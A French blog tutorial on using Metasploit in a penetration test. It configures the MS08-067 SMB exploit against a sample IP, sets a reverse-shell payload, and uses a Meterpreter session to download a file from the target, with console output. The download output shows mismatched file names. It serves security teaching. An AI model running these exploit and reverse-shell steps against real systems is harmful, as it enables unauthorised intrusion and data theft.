27/07/2024

Utilisation de Metasploit

Dans cette partie, le cadre Metasploit nous aidera à mettre en œuvre notre campagne de tests de pénétration. Ce logiciel est aujourd’hui la propriété de la firme de sécurité Rapid7 dont une édition Open Source est toujours disponible grâce aux larges contributions et développements de la communauté de sécurité.

L’architecture modulaire et flexible de Metasploit aide en effet les développeurs à créer des exploits fonctionnels dès que de nouvelles vulnérabilités sont découvertes. On peut se demander pourquoi utiliser Metasploit plutôt qu’un autre outil? En réalité, en tant que testeur d’intrusion (on parle aussi de pentester), c’est notre rôle d’évaluer sous forme d’exploits, les vulnérabilités découvertes au fil du temps et de les mettre en exergue, lorsque c’est possible afin d’évaluer le risque de compromission. Cet outil permet de  générer des exploits à partir des vulnérabilités connues sans trop d’effort.

Pour démarrer Metasploit et générer la première attaque de notre système, il faut tout d’abord démarrer le service de base de données PostgreSQL que Metasploit doit utiliser pour tracer les différentes actions que l’on va mener :

# systemctl start postgresql

Maintenant, il suffit simplement de démarrer la console metasploit. Cette commande va alors initialiser l’utilisateur PostgreSQL appelé msf, correspondant au nom de base de données de stockage de nos données. Cela permet également de démarrer un appel de procédure distante (ou RPC) ainsi qu’un serveur web:

# msfconsole

REMARQUE: contrairement aux premières versions de Kali Linux, il n’existe plus de service Metasploit, en tant que tel. Seule les exécutables, dont la console metasploit sont actifs car ils appartiennent au noyau Open Source de l’outil.

Dès lors, il est possible d’exécuter des commandes en ayant au préalable interrogé l’interface afin de connaitre leurs options :

msf > help

Il existe de nombreux modules que l’on peut ajouter à l’utilitaire Metasploit. Ces modules sont téléchargeables depuis le site www.rapid7.com. Ils sont contenus dans une base interne permettant d’interroger à la fois les bases Common Vulnerabilities and Exposures (abrégée en CVE), ou Open Sourced Vulnerability Database (abrégée en OSVDB), ou le site Bugtraq ou encore le Microsoft Security Bulletin.

IMPORTANT : cela implique bien évidemment que la plateforme Kali Linux doit disposer d’un accès Internet pour pouvoir interroger ces bases de connaissance librement, sans contrainte ni pare-feu.

En effet, avant d’exploiter une quelconque faille de sécurité, il faut bien évidemment effectuer un scan de vulnérabilités. Une fois ce précieux rapport entre nos mains, on peut alors chercher à en exploiter un des éléments. Pour cela rien de mieux que d’interroger la base mise à disposition sur le site Rapid7 ci-dessous :

En interne, depuis notre plateforme Metasploit, on peut interroger les modules préenregistrés et intégrés à l’outil grâce à la commande de recherche suivante:

Dès lors, on peut rechercher des précisions quant à ce module pré-intégré, puisque l’on dispose du chemin d’accès mentionné ci-dessus exploit/windows/smb/ms08_067_netapi, en exécutant l’instruction suivante :

msf > info exploit/windows/smb/ms08_067_netapi

Ainsi, pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant la partie de référence exploit/):

msf > use windows/smb/ms08_067_netapi

On peut alors lister les options liées à cet exploit grâce à la commande suivante:

msf > show options

Dans l’exemple utilisé ici, nous avons la possibilité de fournir trois paramètres spécifiques :

  • RHOST pour mentionner l’hôte distant que l’on veut cibler.
  • RPORT pour préciser le n° de port d’attaque.
  • SMBPIPE pour préciser le canal d’intercommunication IPC à utiliser.

On peut fixer ces paramètres à l’aide du mot-clé set, en mentionnant le nom du paramètre et sa valeur :

msf > set RHOST 192.168.2.34

REMARQUE : la cible d’exploit (ou Exploit Target) est positionnée par défaut à un mode automatique.

Mais, il est possible de visualiser à tout moment les différentes cibles disponibles, grâce à la commande suivante (ce qui permet d’être encore plus précis lors de nos phases de tests en ciblant le bon système d’exploitation) :

msf > show targets

La réussite des exploits dépend des charges actives (aussi appelées payloads), ajoutées régulièrement à Metasploit de la même façon que les modules. Ces charges déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque. Pour lister les charges actives disponibles, il suffit d’exécuter la commande suivante :

msf > show payloads

Parmi la liste des charges actives compatibles listées précédemment, on peut voir une plage d’options utilisant des shells ou Meterpreter (il s’agit d’un interpréteur de métadonnées permettant d’effectuer un certain nombre de tâches: télécharger des fichiers, lancer un keylogger, prendre une capture d’écran…). En ce qui concerne ces deux types de charges actives, ils sont divisés en deux catégories :

  • Connecté (bind)
  • Inversé (reverse)

REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft Windows. Mais, il existe aussi des charges actives permettant d’obtenir une session Meterpreter sous Linux.

  • Shell connecté

Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local. L’attaquant se connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des pare-feu, l’efficacité des shells connectés a échoué car n’importe quel pare-feu correctement configuré bloque les ports aléatoires tels que 4444.

  • Shell inversé

Pousse activement une connexion inversée à destination de l’attaquant plutôt que d’attendre une connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on ouvre un port local en écoute d’une connexion de la cible, permettant ainsi de se faufiler plus facilement au travers des pare-feu.

La charge active est un paramètre comme un autre, il est donc possible de le préciser via l’instruction set suivante :

msf > set payload windows/shell_reverse_tcp

ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors préciser la cible où envoyer le shell. Il faut donc mentionner :

  • l’adresse IP de notre machine d’attaque
  • le port sur lequel on écoute les connexions entrantes

Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via l’instruction ci-dessous :

msf > exploit

Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant d’en arriver à l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce dernier est le moyen de prendre la main et de passer des commandes à distance, à la machine cible afin d’exécuter l’ensemble des étapes permettant de réaliser notre exploit.

Par exemple, pour télécharger un fichier MyFile.txt, depuis la machine distante, il suffit d’exécuter :

meterpreter > ls

Mode           Size  Type  Last modified         Name
----              ----    ----     -------------              ----
40777/rwxrwxrwx   0       dir   2014-03-26 23:24:48 +0100  Desktop

meterpreter > cd Desktop
meterpreter > ls

Listing: C:\Documents and Settings\admin\Desktop
------------------------------------------------------------
Mode          Size    Type  Last modified       Name
----              ----    ----     -------------              ----
100666/rw-rw-rw-  16      fil   2019-02-10 14:44:09 +0100  MyFile.txt

meterpreter > download MyFile.txt

[*] downloading: TOP_SECRET.txt -> MyFile.txt
[*] downloaded : TOP_SECRET.txt -> MyFile.txt

Une fois que l’on a réussi l’exploit à distance, il convient de se déconnecter. Pour cela, un simple [CTRL]+C suffit à terminer la session de prise de main à distance.

REMARQUE: le framework Metasploit dispose également d’un mode ligne de commande que l’on peut appeler via la commande msfcli. Cela peut s’avérer pratique pour tester des modules Metasploit ou créer des scripts d’exploit. Son utilisation s’apparente au mode console :

# msfcli windows/smb/ms08_067_netapi RHOST=192.168.2.34 P

Pour terminer cette partie, rappelons que pour pouvoir maintenir à jour l’outil Metasploit, il suffit d’exécuter la mise à jour de celui-ci grâce à la commande :

# msfupdate

Maintenant que nous avons vu les deux principales phases d’un test d’intrusion, à savoir :

  • Récolte d’informations
  • Mise en œuvre des exploits

Nous allons passer à la suite : la phase de scan de vulnérabilités.

author avatar
Philippe PIERRE
A exercé de nombreuses années en tant qu'administrateur de base de données et comme administrateur Système Unix/Linux. Il a enseigné les réseaux au CNAM (Paris). Aujourd'hui, employé en tant qu'ingénieur infrastructure, au sein d'un laboratoire pharmaceutique et administrant un cluster de calculs HPC, il connaît parfaitement les environnements GNU/Linux dans le cadre d'une entreprise et des systèmes de haute disponibilité. Il aime partager son expérience.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail